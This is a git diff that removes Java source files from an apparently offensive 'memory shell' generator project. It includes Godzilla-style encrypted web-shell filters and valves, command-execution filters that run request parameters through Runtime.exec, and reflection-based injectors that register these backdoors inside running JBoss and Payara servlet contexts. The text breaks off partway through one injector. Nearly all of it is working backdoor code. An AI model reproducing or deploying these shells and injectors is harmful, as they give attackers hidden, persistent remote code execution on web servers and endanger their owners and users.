b/generator/src/main/java/com/reajason/javaweb/memsell/jboss/godzilla/GodzillaFilter.java deleted file mode 100644 index fd446530..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memsell/jboss/godzilla/GodzillaFilter.java +++ /dev/null @@ -1,127 +0,0 @@ -package com.reajason.javaweb.memsell.jboss.godzilla; - -import javax.crypto.Cipher; -import javax.crypto.spec.SecretKeySpec; -import javax.servlet.*; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import javax.servlet.http.HttpSession; -import java.io.ByteArrayOutputStream; -import java.io.IOException; - -/** - * @author ReaJason - */ -public class GodzillaFilter extends ClassLoader implements Filter { - public String key = "{{key}}"; - public String pass = "{{pass}}"; - public String md5 = "{{md5}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; - - public GodzillaFilter() { - } - - public GodzillaFilter(ClassLoader z) { - super(z); - } - - @SuppressWarnings("all") - public static String base64Encode(byte[] bs) throws Exception { - String value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Encoder"); - Object encoder = base64.newInstance(); - value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("all") - public static byte[] base64Decode(String bs) { - byte[] value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("all") - public Class Q(byte[] cb) { - return super.defineClass(cb, 0, cb.length); - } - - public byte[] x(byte[] s, boolean m) { - try { - - Cipher c = Cipher.getInstance("AES"); - c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); - return c.doFinal(s); - } catch (Exception var4) { - return null; - } - } - - @Override - @SuppressWarnings("all") - public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException { - HttpServletRequest request = (HttpServletRequest) servletRequest; - HttpServletResponse response = (HttpServletResponse) servletResponse; - try { - if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { - HttpSession session = request.getSession(); - byte[] data = base64Decode(request.getParameter(pass)); - data = this.x(data, false); - if (session.getAttribute("payload") == null) { - session.setAttribute("payload", (new GodzillaFilter(this.getClass().getClassLoader())).Q(data)); - } else { - request.setAttribute("parameters", data); - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f; - try { - f = ((Class) session.getAttribute("payload")).newInstance(); - } catch (InstantiationException | IllegalAccessException e) { - throw new RuntimeException(e); - } - f.equals(arrOut); - f.equals(request); - response.getWriter().write(md5.substring(0, 16)); - f.toString(); - response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); - response.getWriter().write(md5.substring(16)); - } - - } else { - chain.doFilter(servletRequest, servletResponse); - } - } catch (Exception e) { - chain.doFilter(servletRequest, servletResponse); - } - } - - @Override - public void init(FilterConfig filterConfig) throws ServletException { - } - - @Override - public void destroy() { - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/jboss/injector/JbossFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/jboss/injector/JbossFilterInjector.java deleted file mode 100644 index 2746ef5d..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memsell/jboss/injector/JbossFilterInjector.java +++ /dev/null @@ -1,226 +0,0 @@ -package com.reajason.javaweb.memsell.jboss.injector; - -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.lang.reflect.Constructor; -import java.lang.reflect.Field; -import java.lang.reflect.InvocationTargetException; -import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.List; -import java.util.Map; -import java.util.zip.GZIPInputStream; - - -/** - * @author ReaJason - */ -public class JbossFilterInjector { - - static { - new JbossFilterInjector(); - } - - public JbossFilterInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object filter = getFilter(context); - addFilter(context, filter); - } - } catch (Exception e) { - e.printStackTrace(); - } - } - - static byte[] decodeBase64(String base64Str) throws Exception { - Class decoderClass; - try { - decoderClass = Class.forName("sun.misc.BASE64Decoder"); - return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); - } catch (Exception ignored) { - decoderClass = Class.forName("java.util.Base64"); - Object decoder = decoderClass.getMethod("getDecoder").invoke(null); - return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); - } - } - - public static byte[] gzipDecompress(byte[] compressedData) throws IOException { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - ByteArrayInputStream in = new ByteArrayInputStream(compressedData); - GZIPInputStream gzipInputStream = new GZIPInputStream(in); - byte[] buffer = new byte[256]; - int n; - while ((n = gzipInputStream.read(buffer)) >= 0) { - out.write(buffer, 0, n); - } - return out.toByteArray(); - } - - public static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { - return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); - } - - public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - - Class tempClass = clazz; - while (method == null && tempClass != null) { - try { - if (paramClazz == null) { - // Get all declared methods of the class - Method[] methods = tempClass.getDeclaredMethods(); - for (Method value : methods) { - if (value.getName().equals(methodName) && value.getParameterTypes().length == 0) { - method = value; - break; - } - } - } else { - method = tempClass.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - tempClass = tempClass.getSuperclass(); - } - } - if (method == null) { - throw new NoSuchMethodException(methodName); - } - method.setAccessible(true); - if (obj instanceof Class) { - try { - return method.invoke(null, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } else { - try { - return method.invoke(obj, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } - } - - public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { - List contexts = new ArrayList(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); - try { - for (Thread thread : threads) { - if (thread.getName().contains("ContainerBackgroundProcessor")) { - Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); - for (Object key : childrenMap.keySet()) { - Map children = (Map) getFieldValue(childrenMap.get(key), "children"); - for (Object key1 : children.keySet()) { - Object context = children.get(key1); - if (context != null && context.getClass().getName().contains("StandardContext")) { - contexts.add(context); - } - } - } - } - } - } catch (Exception e) { - throw new RuntimeException(e); - } - return contexts; - } - - private Object getFilter(Object context) { - Object filter = null; - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } - try { - filter = classLoader.loadClass(getClassName()); - } catch (Exception e) { - try { - byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - filter = clazz.newInstance(); - } catch (Throwable e1) { - e1.printStackTrace(); - } - } - return filter; - } - - @SuppressWarnings("all") - public void addFilter(Object context, Object filter) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException { - String filterClassName = getClassName(); - try { - if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterClassName}) != null) { - return; - } - } catch (Exception ignored) { - } - Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance(); - Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance(); - try { - invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName}); - invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName}); - invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); - invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName}); - invokeMethod(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"}); - Constructor[] constructors; - invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); - constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); - try { - invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); - } catch (Exception e) { - invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); - } - - constructors[0].setAccessible(true); - try { - Object filterConfig = constructors[0].newInstance(context, filterDef); - Map filterConfigs = (Map) getFieldValue(context, "filterConfigs"); - filterConfigs.put(filterClassName, filterConfig); - } catch (Exception e) { - // 多个应用部分应用通过上下文线程加载 filter 对象,可能在目标应用会加载不到 - if (!(e.getCause() instanceof ClassNotFoundException)) { - throw e; - } - } - } catch (Exception e) { - e.printStackTrace(); - } - } - - public String getUrlPattern() { - return "{{urlPattern}}"; - } - - public String getClassName() { - return "{{className}}"; - } - - public String getBase64String() { - return "{{base64Str}}"; - } - - @SuppressWarnings("all") - public Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/jboss/injector/JbossListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/jboss/injector/JbossListenerInjector.java deleted file mode 100644 index 1f038ec9..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memsell/jboss/injector/JbossListenerInjector.java +++ /dev/null @@ -1,228 +0,0 @@ -package com.reajason.javaweb.memsell.jboss.injector; - -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.lang.reflect.Field; -import java.lang.reflect.InvocationTargetException; -import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.Arrays; -import java.util.List; -import java.util.Map; -import java.util.zip.GZIPInputStream; - - -/** - * @author ReaJason - */ -public class JbossListenerInjector { - - static { - new JbossListenerInjector(); - } - - public JbossListenerInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object listener = getListener(context); - addListener(context, listener); - } - } catch (Exception ignored) { - } - } - - @SuppressWarnings("all") - static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Class decoderClass; - try { - decoderClass = Class.forName("sun.misc.BASE64Decoder"); - return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); - } catch (Exception ignored) { - decoderClass = Class.forName("java.util.Base64"); - Object decoder = decoderClass.getMethod("getDecoder").invoke(null); - return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); - } - } - - @SuppressWarnings("all") - public static byte[] gzipDecompress(byte[] compressedData) throws IOException { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - ByteArrayInputStream in = new ByteArrayInputStream(compressedData); - GZIPInputStream ungzip = new GZIPInputStream(in); - byte[] buffer = new byte[256]; - int n; - while ((n = ungzip.read(buffer)) >= 0) { - out.write(buffer, 0, n); - } - return out.toByteArray(); - } - - @SuppressWarnings("all") - static Object getFV(Object obj, String fieldName) throws Exception { - try { - Field field = getF(obj, fieldName); - field.setAccessible(true); - return field.get(obj); - } catch (Exception e) { - return null; - } - } - - static Field getF(Object obj, String fieldName) throws NoSuchFieldException { - Class clazz = obj.getClass(); - while (clazz != null) { - try { - Field field = clazz.getDeclaredField(fieldName); - field.setAccessible(true); - return field; - } catch (NoSuchFieldException e) { - clazz = clazz.getSuperclass(); - } - } - throw new NoSuchFieldException(fieldName); - } - - public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { - Field field = getF(obj, fieldName); - field.set(obj, value); - } - - static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { - return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); - } - - @SuppressWarnings("all") - public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - Class tempClass = clazz; - while (method == null && tempClass != null) { - try { - if (paramClazz == null) { - // Get all declared methods of the class - Method[] methods = tempClass.getDeclaredMethods(); - for (int i = 0; i < methods.length; i++) { - if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { - method = methods[i]; - break; - } - } - } else { - method = tempClass.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - tempClass = tempClass.getSuperclass(); - } - } - if (method == null) { - throw new NoSuchMethodException(methodName); - } - method.setAccessible(true); - if (obj instanceof Class) { - try { - return method.invoke(null, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } else { - try { - return method.invoke(obj, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } - } - - public String getClassName() { - return "{{className}}"; - } - - public String getBase64String() { - return "{{base64Str}}"; - } - - public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { - List contexts = new ArrayList(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); - try { - for (Thread thread : threads) { - if (thread.getName().contains("ContainerBackgroundProcessor")) { - Map childrenMap = (Map) getFV(getFV(getFV(thread, "target"), "this$0"), "children"); - for (Object key : childrenMap.keySet()) { - Map children = (Map) getFV(childrenMap.get(key), "children"); - for (Object key1 : children.keySet()) { - Object context = children.get(key1); - if (context != null && context.getClass().getName().contains("StandardContext")) { - contexts.add(context); - } - } - } - } - } - } catch (Exception e) { - throw new RuntimeException(e); - } - return contexts; - } - - private Object getListener(Object context) { - Object listener = null; - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } - try { - listener = classLoader.loadClass(getClassName()).newInstance(); - } catch (Exception e) { - try { - byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - listener = clazz.newInstance(); - } catch (Throwable ignored) { - } - } - return listener; - } - - @SuppressWarnings("all") - public void addListener(Object context, Object listener) throws Exception { - if (!this.isInjected(context, this.getClassName())) { - String filedName = "applicationEventListenersObjects"; - Object applicationEventListenersObjects = getFV(context, filedName); - if (applicationEventListenersObjects == null) { - filedName = "applicationEventListenersInstances"; - applicationEventListenersObjects = getFV(context, filedName); - } - if (applicationEventListenersObjects != null) { - Object[] appListeners = (Object[]) applicationEventListenersObjects; - if (appListeners != null) { - List appListenerList = new ArrayList(Arrays.asList(appListeners)); - appListenerList.add(listener); - setFieldValue(context, filedName, appListenerList.toArray()); - } - } else if (getFV(context, "applicationEventListenersList") != null) { - List appListeners = (List) getFV(context, "applicationEventListenersList"); - if (appListeners != null) { - appListeners.add(listener); - } - } - } - } - - @SuppressWarnings("all") - public boolean isInjected(Object context, String evilClassName) throws Exception { - Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners"); - List listeners = Arrays.asList(objects); - ArrayList arrayList = new ArrayList(listeners); - for (Object o : arrayList) { - if (o.getClass().getName().contains(evilClassName)) { - return true; - } - } - return false; - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/jetty/command/CommandFilter.java b/generator/src/main/java/com/reajason/javaweb/memsell/jetty/command/CommandFilter.java deleted file mode 100644 index 1cf0cac8..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memsell/jetty/command/CommandFilter.java +++ /dev/null @@ -1,48 +0,0 @@ -package com.reajason.javaweb.memsell.jetty.command; - -import javax.servlet.*; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import java.io.IOException; -import java.io.InputStream; - -/** - * @author ReaJason - * @since 2024/11/24 - */ -public class CommandFilter implements Filter { - public String paramName = "{{paramName}}"; - - @Override - public void init(FilterConfig filterConfig) throws ServletException { - - } - - @Override - public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { - HttpServletRequest servletRequest = (HttpServletRequest) request; - HttpServletResponse servletResponse = (HttpServletResponse) response; - String cmd = servletRequest.getParameter(paramName); - try { - if (cmd != null) { - Process exec = Runtime.getRuntime().exec(cmd); - InputStream inputStream = exec.getInputStream(); - ServletOutputStream outputStream = servletResponse.getOutputStream(); - byte[] buf = new byte[8192]; - int length; - while ((length = inputStream.read(buf)) != -1) { - outputStream.write(buf, 0, length); - } - } else { - chain.doFilter(servletRequest, servletResponse); - } - } catch (Exception e) { - chain.doFilter(servletRequest, servletResponse); - } - } - - @Override - public void destroy() { - - } -} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/payara/command/CommandFilter.java b/generator/src/main/java/com/reajason/javaweb/memsell/payara/command/CommandFilter.java deleted file mode 100644 index 4dc4c9b0..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memsell/payara/command/CommandFilter.java +++ /dev/null @@ -1,48 +0,0 @@ -package com.reajason.javaweb.memsell.payara.command; - -import javax.servlet.*; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import java.io.IOException; -import java.io.InputStream; - -/** - * @author ReaJason - * @since 2024/11/24 - */ -public class CommandFilter implements Filter { - public String paramName = "{{paramName}}"; - - @Override - public void init(FilterConfig filterConfig) throws ServletException { - - } - - @Override - public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { - HttpServletRequest servletRequest = (HttpServletRequest) request; - HttpServletResponse servletResponse = (HttpServletResponse) response; - String cmd = servletRequest.getParameter(paramName); - try { - if (cmd != null) { - Process exec = Runtime.getRuntime().exec(cmd); - InputStream inputStream = exec.getInputStream(); - ServletOutputStream outputStream = servletResponse.getOutputStream(); - byte[] buf = new byte[8192]; - int length; - while ((length = inputStream.read(buf)) != -1) { - outputStream.write(buf, 0, length); - } - } else { - chain.doFilter(servletRequest, servletResponse); - } - } catch (Exception e) { - chain.doFilter(servletRequest, servletResponse); - } - } - - @Override - public void destroy() { - - } -} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/payara/godzilla/GodzillaFilter.java b/generator/src/main/java/com/reajason/javaweb/memsell/payara/godzilla/GodzillaFilter.java deleted file mode 100644 index 135173ed..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memsell/payara/godzilla/GodzillaFilter.java +++ /dev/null @@ -1,127 +0,0 @@ -package com.reajason.javaweb.memsell.payara.godzilla; - -import javax.crypto.Cipher; -import javax.crypto.spec.SecretKeySpec; -import javax.servlet.*; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import javax.servlet.http.HttpSession; -import java.io.ByteArrayOutputStream; -import java.io.IOException; - -/** - * @author ReaJason - */ -public class GodzillaFilter extends ClassLoader implements Filter { - public String key = "{{key}}"; - public String pass = "{{pass}}"; - public String md5 = "{{md5}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; - - public GodzillaFilter() { - } - - public GodzillaFilter(ClassLoader z) { - super(z); - } - - @SuppressWarnings("all") - public static String base64Encode(byte[] bs) throws Exception { - String value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Encoder"); - Object encoder = base64.newInstance(); - value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("all") - public static byte[] base64Decode(String bs) { - byte[] value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("all") - public Class Q(byte[] cb) { - return super.defineClass(cb, 0, cb.length); - } - - public byte[] x(byte[] s, boolean m) { - try { - - Cipher c = Cipher.getInstance("AES"); - c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); - return c.doFinal(s); - } catch (Exception var4) { - return null; - } - } - - @Override - @SuppressWarnings("all") - public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException { - HttpServletRequest request = (HttpServletRequest) servletRequest; - HttpServletResponse response = (HttpServletResponse) servletResponse; - try { - if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { - HttpSession session = request.getSession(); - byte[] data = base64Decode(request.getParameter(pass)); - data = this.x(data, false); - if (session.getAttribute("payload") == null) { - session.setAttribute("payload", (new GodzillaFilter(this.getClass().getClassLoader())).Q(data)); - } else { - request.setAttribute("parameters", data); - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f; - try { - f = ((Class) session.getAttribute("payload")).newInstance(); - } catch (InstantiationException | IllegalAccessException e) { - throw new RuntimeException(e); - } - f.equals(arrOut); - f.equals(request); - response.getWriter().write(md5.substring(0, 16)); - f.toString(); - response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); - response.getWriter().write(md5.substring(16)); - } - - } else { - chain.doFilter(servletRequest, servletResponse); - } - } catch (Exception e) { - chain.doFilter(servletRequest, servletResponse); - } - } - - @Override - public void init(FilterConfig filterConfig) throws ServletException { - } - - @Override - public void destroy() { - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/payara/godzilla/GodzillaValve.java b/generator/src/main/java/com/reajason/javaweb/memsell/payara/godzilla/GodzillaValve.java deleted file mode 100644 index f71a7dde..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memsell/payara/godzilla/GodzillaValve.java +++ /dev/null @@ -1,137 +0,0 @@ -package com.reajason.javaweb.memsell.payara.godzilla; - -import org.apache.catalina.Valve; -import org.apache.catalina.connector.Request; -import org.apache.catalina.connector.Response; - -import javax.crypto.Cipher; -import javax.crypto.spec.SecretKeySpec; -import javax.servlet.ServletException; -import javax.servlet.http.HttpSession; -import java.io.ByteArrayOutputStream; -import java.io.IOException; - -/** - * @author ReaJason - */ -public class GodzillaValve extends ClassLoader implements Valve { - public String key = "{{key}}"; - public String pass = "{{pass}}"; - public String md5 = "{{md5}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; - protected Valve next; - protected boolean asyncSupported; - - public GodzillaValve() { - } - - public GodzillaValve(ClassLoader z) { - super(z); - } - - @SuppressWarnings("all") - public static String base64Encode(byte[] bs) { - String value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Encoder"); - Object Encoder = base64.newInstance(); - value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs); - } catch (Exception var5) { - } - } - return value; - } - - @SuppressWarnings("all") - public static byte[] base64Decode(String bs) { - byte[] value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception var5) { - } - } - return value; - } - - @SuppressWarnings("all") - public Class Q(byte[] cb) { - return super.defineClass(cb, 0, cb.length); - } - - public byte[] x(byte[] s, boolean m) { - try { - Cipher c = Cipher.getInstance("AES"); - c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); - return c.doFinal(s); - } catch (Exception var4) { - return null; - } - } - - @Override - public Valve getNext() { - return this.next; - } - - @Override - public void setNext(Valve valve) { - this.next = valve; - } - - @Override - public boolean isAsyncSupported() { - return this.asyncSupported; - } - - @Override - public void backgroundProcess() { - } - - @Override - @SuppressWarnings("all") - public void invoke(Request request, Response response) throws IOException, ServletException { - try { - if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { - HttpSession session = request.getSession(); - byte[] data = base64Decode(request.getParameter(pass)); - data = this.x(data, false); - if (session.getAttribute("payload") == null) { - session.setAttribute("payload", (new GodzillaValve(this.getClass().getClassLoader())).Q(data)); - } else { - request.setAttribute("parameters", data); - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f = ((Class) session.getAttribute("payload")).newInstance(); - f.equals(arrOut); - f.equals(data); - f.equals(request); - response.getWriter().write(md5.substring(0, 16)); - f.toString(); - response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); - response.getWriter().write(md5.substring(16)); - response.flushBuffer(); - } - } else { - this.getNext().invoke(request, response); - } - } catch (Exception e) { - e.printStackTrace(); - this.getNext().invoke(request, response); - } - - } -} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/payara/injector/PayaraFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/payara/injector/PayaraFilterInjector.java deleted file mode 100644 index 4fc223b3..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memsell/payara/injector/PayaraFilterInjector.java +++ /dev/null @@ -1,216 +0,0 @@ -package com.reajason.javaweb.memsell.payara.injector; - -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.lang.reflect.Constructor; -import java.lang.reflect.Field; -import java.lang.reflect.InvocationTargetException; -import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.HashMap; -import java.util.List; -import java.util.logging.Logger; -import java.util.zip.GZIPInputStream; - -/** - * @author ReaJason - */ -public class PayaraFilterInjector { - static { - new PayaraFilterInjector(); - } - - Logger log = Logger.getLogger(PayaraFilterInjector.class.getName()); - - - public PayaraFilterInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object filter = getFilter(context); - addFilter(context, filter); - } - } catch (Exception e) { - e.printStackTrace(); - } - - } - - static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Class decoderClass; - try { - decoderClass = Class.forName("sun.misc.BASE64Decoder"); - return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); - } catch (Exception ignored) { - decoderClass = Class.forName("java.util.Base64"); - Object decoder = decoderClass.getMethod("getDecoder").invoke(null); - return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); - } - } - - public static byte[] gzipDecompress(byte[] compressedData) throws IOException { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - ByteArrayInputStream in = new ByteArrayInputStream(compressedData); - GZIPInputStream ungzip = new GZIPInputStream(in); - byte[] buffer = new byte[256]; - int n; - while ((n = ungzip.read(buffer)) >= 0) { - out.write(buffer, 0, n); - } - return out.toByteArray(); - } - - static Object getFV(Object obj, String fieldName) throws Exception { - Field field = getF(obj, fieldName); - field.setAccessible(true); - return field.get(obj); - } - - static Field getF(Object obj, String fieldName) throws NoSuchFieldException { - Class clazz = obj.getClass(); - while (clazz != null) { - try { - Field field = clazz.getDeclaredField(fieldName); - field.setAccessible(true); - return field; - } catch (NoSuchFieldException e) { - clazz = clazz.getSuperclass(); - } - } - throw new NoSuchFieldException(fieldName); - } - - static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { - return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); - } - - public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - - Class tempClass = clazz; - while (method == null && tempClass != null) { - try { - if (paramClazz == null) { - // Get all declared methods of the class - Method[] methods = tempClass.getDeclaredMethods(); - for (int i = 0; i < methods.length; i++) { - if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { - method = methods[i]; - break; - } - } - } else { - method = tempClass.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - tempClass = 